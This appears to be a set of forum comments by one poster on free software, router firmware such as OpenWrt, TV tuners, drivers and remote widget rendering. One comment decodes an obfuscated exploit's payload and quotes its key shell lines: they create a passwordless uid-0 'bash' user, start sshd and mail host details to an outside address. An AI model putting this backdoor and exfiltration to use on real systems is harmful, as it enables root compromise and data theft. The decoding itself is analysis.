RMS intentionally confuses the terms free and open, because in his mind it isn't free until it's open; to him, free means freedom. The classic example is always "free" as in "free beer" vs "free" as in "free speech"; same word, different meaning.
Interesting; it also has the advantage that with the port number included in the CNAME you could actually run multiple https servers -- something you can't do with port 443 since the cert is sent to the client before the hostname is established.
It's theoretically possible to produce a machine that implements perfect quantum security. The exploit above does not disprove the theory, only the implementation.
Oh, you want to know why the implementation was flawed?
Well, I for one think it is a great idea since the most popular card manufacturers could not be bothered for the longest time to make linux drivers (and a lot still don't.) Somewhat a flawed argument, since now that ndiswrapper exists there is no incentive to write a linux driver. I would have preferred ndiswrapper didn't exist, allowing linux developers to push for open drivers and specificiations.
Agreed. All you need to recieve over the air HD is a UHF antenna and a digital tuner.
I bought a device called an HDHomerun just for this purpose. It's an inexpensive dual tuner reciever for unencrypted digital content; streams content over ethernet to any computers on the lan. Now my only concern is harddrive space; storing the shows in their original quality can take 6G per hour -- not that I'm complaining, it's noticably better than the pixelated crap my (analog) tivo produces.
The klik source is not a trojan, it's simply a glorified wget wrapper.. no idea why
It seems stupid to encode the shell script into an unreadable form and then to post the sources; a few small changes to the source and it happily prints out the shell script.
Don't buy a license, don't support SCO and most importantly don't give them any money to defend this business practice in court; it's cheaper and it helps out in the long run.
Yes... 14 year old uber-geeks cracking games and software in mom's basement... yes, that something deserving the title "synicate".
Nice to see the government(s) spending money going after such terrifying villians instead of your friendly neighbourhood rapists, child molestors and murderers, eh?
Maybe they should introduce the groups and solve both problems.
I think somebody needs to organize a development community around this. Creating a good stable version of Linux that can be easily installed onto the router. Of course this would require some sort of installer program, that could fetch updates & upgrade the firmware more easily too.
We're trying to address some of these issues with openwrt. Openwrt provides a minimal firmware image with support for add-on packages via a writable filesystem; essentially a linux distro. The idea is two fold, it allows developers to focus on specific pieces rather than an entire firmware and end users to free up precious resources and customize the firmware by adding or removing features.
Mesh routing is on the list of things to do with some progress being made in that direction already.
I tried an nfs mounted swapfile with only minimal success. It'd get further but it would go into some heavy swapping flooding the network, durring which time the access point was very unresponsive; just not practical for actual use.
Whenever I run this on my laptop it always changes the screen size by turning off the video scaling; it's annoying that I have to reset this each bootup. Does anyone else run into this issue?

Qt On DirectFB
·
· Score: 4, Insightful
When you do run a QT or GTK app over remote connection, the remote (server) library renders the widgets to x primitives which are then sent over to the local (client) computer to display.
Why is it that (to my knowedge) nobody has done this at a higher level? If the client already has a QT library why not simply send over a 'draw widget' command to that library, creating a proxy out of the server's library.

Take it with a grain of salt.

It's easier to argue the corollary -

I think you missed the point of the article. You attempt to play a file in your favorite media player and the following message pops up:
"Could not find codec for proprietary-spyware-codec; would you like to install the spyware from the website?"
(Obviously not worded so blatently)
In the future, clothing will be subject to EULA agreements; guess what happens when you license expires?
Warming it up in the microwave is still safe, right?
Maybe they should report the cellphones currently in use as potential accident zones.
There's a small heartbeat program that basically calls home confirming that you're still running the firmware.
In other words, why can't I do the following: (without having to resort to messing with padding and margin hacks)
It can be bypassed rather easily on the thinkpads

It seems stupid to encode the shell script into an unreadable form and then to post the sources; a few small changes to the source and it happily prints out the shell script.
The script is encoded into the text variable in the source. The key part of the script is this:
/tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null /tmp/mama
echo "Inca un root frate belea: " >>
adduser -g 0 -u 0 -o bash >>
passwd -d bash >>
ifconfig >>
uname -a >>
uptime >>
sshd >>
echo "user bash stii tu" >>
cat
rm -rf
(I'd post the whole script but the lameness filter won't let me)
Create a user named bash, no password
grab the ip and uptime, start ssh
mail the results

Too true; I attempted to run debian's mipsel port but lacked the memory to even run 'apt-get' without triggering the OOM killer.
